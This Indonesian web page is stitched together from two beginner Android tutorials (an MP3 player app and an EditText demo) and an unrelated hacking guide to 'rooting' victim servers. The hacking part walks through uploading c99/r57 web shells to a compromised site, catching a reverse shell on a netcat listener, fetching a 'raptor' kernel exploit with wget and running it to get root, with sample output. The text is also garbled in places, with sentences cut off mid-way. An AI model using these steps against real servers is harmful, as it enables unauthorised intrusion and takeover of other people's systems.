Membuat pemutar audio dengan bahasa android

 Gambar terkait

Kita akan membuat aplikasi sederhana memutar sebuah file .mp3 melalui sebuah ztombol play.  Dalam  kondisi  normal,  jika tombol play  diklik, mp3 akan dimainkan. Pada  saat  bersamaan tombol play  berubah tidak bisa diklik . Namun jika mp3 selesai berputar, baru  kemudian tombol Sudah siap ? mari kita mulai!


1.  Jalankan Enclipse, buat Project baru.

2.  Isilah parameter seperti berikut


Project name  playingAudio
Contents  Create new project in workspace

Application name  Memutar file audio
Package name  contoh.playingAudio
Create Activity  playingAudio
Min SDK version  7


3.  Buat folder baru dengan  nama drawable  di folder res. Masukkan gambar  play  (atau  apa


4.  Buat folder  baru lagi  di  res,  kali ini  beri  nama  raw.  Masukkan  file  mp3 ke  dalam  folder


raw. Latihan ini menggunakan file kautsar.mp3.

5.  Kemudian ketikkan script berikut ini pada main.xml.

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
   android:orientation="vertical"
   android:layout_width="fill_parent"
   android:layout_height="fill_parent"
   >

   <TextView android:textSize="15px" android:layout_width="wrap_content"


android:layout_height="wrap_content" android:id="@+id/textView" android:text="Memainkan

Musik"></TextView>

   <ImageButton android:id="@+id/putarMusik"
android:layout_height="wrap_content"
android:adjustViewBounds="false"
android:src="@drawable/play" android:layout_gravity="center_vertical|center_horizontal"
android:layout_width="fill_parent"></ImageButton>

   <TextView android:text=""
   android:id="@+id/ket"
   android:layout_width="wrap_content"
   android:layout_height="wrap_content"
   android:layout_gravity="center_horizontal"
   android:textSize="15px"></TextView>
</LinearLayout>



 6.  Ketiklah script playingAudio.java seperti berikut
package contoh.playingAudio;
import java.io.IOException;
import android.app.Activity;
import android.media.MediaPlayer;
import android.media.MediaPlayer.OnCompletionListener;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.ImageButton;
import android.widget.TextView;
public class playingAudio extends Activity{
 ImageButton mainkan;
 TextView keterangan;
 MediaPlayer mp;
   /** Called when the activity is first created. */
   @Override

   public void onCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);
       setContentView(R.layout.main);
         keterangan=(TextView)findViewById(R.id.ket);
        keterangan.setText("Silakan klik tombol play");
        mainkan=(ImageButton)findViewById(R.id.putarMusik);
       mainkan.setOnClickListener(new OnClickListener(){
         public void onClick(View arg0){
           mainkan.setEnabled(false);
           keterangan.setText("Tombol play tidak aktif");
           go();
         }
       });
   }
   public void go(){
     mp=MediaPlayer.create(playingAudio.this, R.raw.kautsar);
   try {
     mp.prepare();
   } catch (IllegalStateException e) {
     // TODO Auto-generated catch block
     e.printStackTrace();
   } catch (IOException e) {
     // TODO Auto-generated catch block
     e.printStackTrace();
   }

     mp.start();
 mp.setOnCompletionListener(new OnCompletionListener(){
   public void onCompletion(MediaPlayer arg0){
        mainkan.setEnabled(true);
        keterangan.setText("Silakan klik tombol play");
 }
 });
   }
}




 7.  Bila script berantakan, lakukan Format (source > format).

8.  Lakukan RUN dan lihat hasilnya.

Mengenal edit widget text dalam bahasa android

Tempat belajar ilmu teknologi informasi | informatika | komputer | sistem | jaringan
Hasil gambar untuk edit widget text android

Dalam  mengembangkan  aplikasi  berbasis  android,  nantinya  kita  bakal  membutuhkan
Sudah siap?? Yuuk.. kita mulai.

1.  Jalankan Enclipse, buat project baru.
2.  Isilah parameter seperti berikut

Project name  MengenalEditText
Contents  Create new project in workspace
Build Target  Android 2.1
Application name  Widget EditText
Package name  Contoh.editText
Create Activity  editText
Min SDK version  7

3.  Ketikkan kode berikut ini pada layout main.xml

<?xml version="1.0" encoding="utf-8"?>
   <EditText
xmlns:android="http://schemas.android.com/apk/res/android"
   android:text="EditText"
   android:id="@+id/field"
   android:layout_width="fill_parent"
   android:layout_height="fill_parent"
   android:singleLine="false">
 </EditText>


 4.  Pastikan kode pada editText.java seperti berikut

package contoh.editText;
import android.app.Activity;
import android.os.Bundle;
import android.widget.EditText;
public class editText extends Activity {
   /** Called when the activity is first created. */
@Override
   public void onCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);
       setContentView(R.layout.main);
       EditText
fld=(EditText)findViewById(R.id.field);
       fld.setText("Halo, kita mengenal widget
Editteks. "+
           "dengan porperti singleline=false."+

           "itu sebabnya tulisan ini bisa "+

           "seperti ini.");
   }
}


 5.  Bila kode berantakan, lakukan Format (source >  format).
 6.  Lakukan RUN dan lihat hasilnya. Mudah bukan??


Demikian artikel kali ini semoga berguna bagi kita semua ya sahabat tekno.

Cara melakukan root target sql dumping / deface dan carding

Website ini mengenai banyak pengetahuan yang dapat membuat kita cerdas ataupun pintar dalam segala hal


untuk semuanya, banyak yang request bagaimana cara ngeroot target.



Apa sih tujuannya harus “ngeroot” atau mendapatkan akses root? Karena akses level “root” merupakan akses level tertinggi dalam UNIX, so dengan kita mendapatkan “root” maka anda bisa melakukan hal yang lebih banyak di server target.

Okelah klo begitu yuk kita mulai, beginilah cara ngeroot.

Langkah untuk ngeroot adalah:

Sediakan server / pc untuk menjalankan aktifitas ngeroot
Sediakan target yang sudah kita dapat dari (RFI/SHELLUPLOAD/LFI/DSB) yang safemode (OFF)
Sedikan juga shell injection tools (c99, r57, dsb) yang didalamnya tersedia fasilitas untuk backconnect / sediakan & gunakan perl backconnect tools
Sediakan Netcat (NC) untuk menerima connection dari backconnect
Sediakan local root exploit yang sesuai dengan kernel target

Oke, kita mulai beraksi

Asumsikan bahwa:

IPHOSTSERVER ANDA = 100.100.100.100

PORT SERVER NETCAT ANDA: 10000

Langkah pertama cara ngeroot:

Pastikan bahwa Netcat sudah terinstall & Anda sudah menjalankan Netcat pada Server Anda.

Commandnya sangat sederhana: netcat -n -l -v -p PORT

Contoh: netcat -n -l -v -p 10000



binushacker@ourbox:~$ nc -n -l -v -p 10000
Listening on [any] 10000 …

Langkah kedua cara ngeroot:

Pastikan bahwa anda sudah melakukan upload c99 / r57 ke server dimana didalamnya terdapat fasilitas backconnect. Jadi kita tinggal masukkan IP server kita,

Jika anda menggunakan perl backconnect tools, anda cukup ketikkan perintah: perl backconnectortools.txt IPHOSTSEVERANDA PORT

Contoh:

perl backconnect.txt 100.100.100.100 10000

Langkah ketiga cara ngeroot:

Tunggulan sampai ada connection dari server target ke server anda, biasanya akan muncul pesan bahwa terdapat koneksi ke server anda dari target.

Contoh:



binushacker@ourbox:~$ nc -n -l -v -p 10000

Listening on [any] 10000 …

Connect to [195.13.10.210] from localhost [127.0.0.1] 10000

Linux www.target.com 2.6.16 #1 SMP Fri Jun 01 17:19:41 EST NEW 2007 i686 i686 i386 GNU/Linux
uid=48(apache) gid=48(apache) groups=48(apache)

Langkah ke-empat cara ngeroot:

Anda sudah terkoneksi ke target, disinilah anda harus pandai-pandai menggunakan command Unix. Anda bisa belajar lebih dahulu command” Unix server.

Apabila sudah terkoneksi, maka persiapkanlah LOCAL EXPLOIT UNTUK KERNEL SERVER, ada banyak tools untuk local disesuaikan dengan kebutuhan.

Karena kernel target adalah 2.6.16, maka kita akan menggunakan 2.6.16 -> raptor, raptor2, h0llyshit, prctl untuk exploitnya.

Informasi mengenai local exploit untuk masing” kernel bisa dicari google, kalau kata ulil gamal gunakan jari jemari anda untuk menemukannya

Oke kita lanjut, setelah itu kita wget file raptor atau bisa juga upload dari local file, kemudian kita tempatkan di yang permissionnya bisa execute. Kita cari saja yang 777 (misal: /var/tmp).

Kemudian kita jalankan perintahnya:

./raptor

w00t: uid=0(root) gid=0(root) groups=0(root)

whoami

uid=0(root) gid=0(root) groups=0(root)

Buzz, selamat anda sudah mendapatkan root.

Klo sudah dapat, dibagi bagi ya.untuk tols cari sendiri :))link Video : http://www.youtube.com/watch?feature=player_embedded&v=F5OHp8KjuP4 http://www.youtube.com/watch?v=OImxqsdO9V8&feature=player_embeddedGretz : binushacker.net

BLACK_$0LD1ERxxx